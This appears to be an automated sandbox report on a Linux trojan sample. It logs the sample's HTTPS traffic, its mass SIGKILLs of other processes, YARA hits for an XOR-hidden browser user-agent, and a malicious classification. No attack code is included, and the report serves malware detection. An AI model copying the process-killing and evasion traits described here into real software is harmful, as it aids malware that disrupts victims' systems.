Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36694 version: TLS 1.2

System Summary:

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5286, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 491, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 761, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 774, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 777, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 785, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1344, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1886, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5041, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5179, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5180, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5282, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5290, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5294, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5321, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5372, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5386, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5566, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5567, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5571, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5575, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5653, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5659, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5668, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5669, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5671, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5674, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5734, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5740, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5746, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5750, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5757, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5763, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5843, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5849, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5850, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5851, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5852, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5854, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5857, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5917, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5924, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5925, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5947, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5948, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5956, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5961, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	SIGKILL sent: pid: 936, result: successful	Jump to behavior

Yara signature match

Source: nSg5RM0w0d, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5281.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5294.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5278.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5281.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5278.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5289.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5286.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5290.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5278.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5282.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5282.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5290.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5294.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5281.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5286.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5294.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5282.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5289.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5290.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5289.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5286.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =

Sample tries to kill a process (SIGKILL)

Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5286, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 491, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 761, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 774, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 777, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 785, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1344, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1886, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5041, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5179, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5180, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5282, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5290, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5294, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5321, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5372, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5386, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5566, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5567, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5571, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5575, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5653, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5659, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5668, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5669, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5671, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5674, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5734, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5740, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5746, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5750, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5757, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5763, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5843, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5849, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5850, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5851, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5852, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5854, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5857, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5917, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5924, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5925, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5947, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5948, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5956, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5961, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	SIGKILL sent: pid: 936, result: successful	Jump to behavior

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal100.spre.troj.lin@0/184@16/0

Persistence and Installation Behavior:

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /usr/bin/dbus-daemon (PID: 5372)	File: /proc/5372/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5527)	File: /proc/5527/mounts	Jump to behavior
Source: /bin/fusermount (PID: 5544)	File: /proc/5544/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5571)	File: /proc/5571/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5671)	File: /proc/5671/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5757)	File: /proc/5757/mounts
Source: /usr/bin/dbus-daemon (PID: 5854)	File: /proc/5854/mounts
Source: /usr/bin/dbus-daemon (PID: 5947)	File: /proc/5947/mounts
Source: /usr/bin/dbus-daemon (PID: 5956)	File: /proc/5956/mounts
Source: /usr/bin/dbus-daemon (PID: 6046)	File: /proc/6046/mounts
Source: /usr/bin/dbus-daemon (PID: 6110)	File: /proc/6110/mounts

Executes the "kill" or "pkill" command typically used to terminate processes

Source: /usr/share/gdm/generate-config (PID: 5492)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5661)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5842)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service
Source: /usr/share/gdm/generate-config (PID: 6019)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service

Executes the "grep" command used to find patterns in files or piped streams

Source: /bin/sh (PID: 5472)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5474)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5476)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5478)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5480)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5483)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5485)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5489)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5518)	Grep executable: /usr/bin/grep -> grep -F .utf8	Jump to behavior
Source: /bin/sh (PID: 5635)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5637)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5640)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5642)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5644)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5646)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5651)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5655)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5755)	Grep executable: /usr/bin/grep -> grep -F .utf8
